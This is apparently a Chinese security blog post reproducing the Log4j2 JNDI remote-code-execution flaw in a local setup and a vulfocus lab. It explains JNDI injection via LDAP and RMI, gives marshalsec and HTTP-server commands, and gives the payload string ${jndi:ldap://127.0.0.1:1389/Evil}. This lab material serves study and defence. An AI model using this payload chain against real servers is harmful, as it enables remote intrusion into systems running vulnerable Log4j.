log4j2-RCE 漏洞复现
log4j2-RCE 漏洞复现
0x01 漏洞情况
Apache Log4j2 是 Apache 的一个开源项目,Apache Log4j2 是一个基于 Java 的日志记录工具,使用非常广泛,被大量企业和系统索使用,漏洞触发及其简单,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置
实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2
目前为止已知如下组件存在漏洞:
Spring-Boot-strater-log4j2 |
0x02 知识储备
2.1 JAVA 的命令执行
2.1.1 Java中RunTime类
Runtime 类代表着Java程序的运行时环境,每个Java程序都有一个Runtime实例,该类会被自动创建,我们可以通过Runtime.getRuntime()
方法来获取当前程序的Runtime实例。
并且可以通过 Runtime.getRuntime().exec([command])
执行本机命令。
示例程序:
public class RuntimeTest{ |
运行结果:
所以我们可以通过这个RunTime类去编写一个类来执行任意代码,即恶意类。
2.2 JNDI注入
首先让我们先看看什么是 JNDI:
JNDI
JNDI 是Java命名和目录接口(JNDI)是一种 Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
代码格式如下:
String jndiName= [name];//指定需要查找name名称 |
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
Context.lookup()
Context.lookup() 是一个用于从命名服务中查找对象并返回该对象的方法,将要检索的对象的名称作为它的参数。假设在一个地址为127.0.0.1的jdni-LDAP服务器中存在一个名称为Exploit
的对象。要检索对象并返回它,您可以编写
Context ctx = new InitialContext(); |
lookup()
返回的对象的类型既取决于基础的命名系统,也取决于与对象本身关联的数据。命名系统可以包含许多不同类型的对象,并且在系统的不同部分中查找对象可能会产生不同类型的对象。在此示例中,"ldap://127.0.0.1:1389/Exploit
正巧绑定到上下文对象127.0.0.1:1389/Exploit.class
。您可以将lookup()
的结果强制转换为其目标类。
并且在返回这个类时,lookup()会将它实例化,即会对这个类进行初始化。当我们在这个初始化的过程中放入一些恶意代码,就能让这些恶意代码被执行。
JNDI 注入方法
所谓的JNDI注入就是当上文代码中 jndiName 这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。平常使用JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
JNDI+LDAP实现攻击手法
限制条件:
在JDK 8u191之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。这样的方式没法进行利用,但是还是会有绕过方式。感兴趣的小伙伴可以自行去了解,在这里就不介绍了。
原理图:
至于一个java应用为什么会请求恶意类,这就是漏洞所在,大家先带着这个疑问看下去,在之后我会进行解答。
具体实现:
1.攻击者编写一个恶意类
这里就编写一个打开计算器的恶意类
public class Evil { |
2.攻击者在本地起一个HTTP服务并且上传恶意类文件
我这里直接是在保存恶意类的文件夹下用python起了一个HTTP服务,就不需要再上传文件上去了
python -m http.server 1234(端口号) |
这样就成功了:
3.攻击者在本地起一个LDAP服务并且与HTTP服务绑定
这一步可以用 marshalsec反序列化工具 ,也可以自己手工起:
手工起太慢了,这里我就利用工具起一个:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:1234/#Evil |
4.模拟客户端向LDAP服务器请求恶意类
客户端代码:
import javax.naming.Context; |
执行效果:
实现原理
InitialContext().lookup 会向127.0.0.1的1389端口开的LDAP服务发送恶意类请求,由于该LDAP服务器已经与开在127.0.0.1的1234端口上的HTTP服务上的恶意类进行了绑定,那么客户端的请求就会返回一个恶意类,并且 在lookup里会将这个类实例化成一个对象,在实例化过程中会执行与这个恶意类同名的方法 ,由此就可以进行RCE了。
JNDI+RMI攻击手法
限制条件:
在
RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
原理图:
RMI攻击方式类似LDAP,而且比LDAP攻击方式还要更简单,但是只适用于低版本的 JDK,这里就不做具体演示
0x03 log4j2漏洞利用
3.1 漏洞成因
在 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
中,会按字符检测每条日志,一旦发现某条日志中包含$ {
,则触发替换机制,也就是将表达式内的内容替换成真实的内容,而真实内容来自于lookup找到的内容,而lookup可以通过LDAP协议请求恶意类,执行恶意类,最终达到RCE(远程代码执行)。
3.2 本地复现
模拟一个使用log4j2的记录登入报错的服务器:
import org.apache.logging.log4j.LogManager; |
攻击者利用JNDI的LDAP注入方法:
先构造一个恶意类Evil:
public class Evil { |
再用工具将LDAP服务与恶意类绑定:
在服务器中输入Payload:
${jndi:ldap://127.0.0.1:1389/Evil} |
可以看到日志被打印出来了,而且Evil.class被成功执行:
3.3 漏洞调试
在logger.error下个断点,跟进去看看
发现在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
中,会按字符检测每条日志,一旦发现某条日志中包含$ {
,则触发替换机制,也就是将表达式内的内容替换成真实的内容,其中config.getStrSubstitutor().replace(event, value)
执行下一步替换操作,关键代码如图
再往下跟,会发现这个函数会将 $ {
后面的字符提取出来直到遇到 }
:
最后,会在这里会调用 **lookup()**,这个lookup()同我们上面介绍的context.lookup()一样支持LDAP协议来实例化一个类:
3.4 实战测试
当然,实战不是去打别人的网站,那是违法的,但是我们可以去打打靶场。
这是一个vulfocus的靶场:
利用POST传递payload, 由于该RCE 漏洞,在目标环境中是没有回显的。需要借助DNSlog 平台,利用DNS 解析来验证漏洞存在性:
有响应,说明存在JNDI注入:
这里需要在一个带有公网ip的服务器上起服务,这里我是在我的云服务器上,利用JNDIExploit工具起的:
执行payload,达到RCE: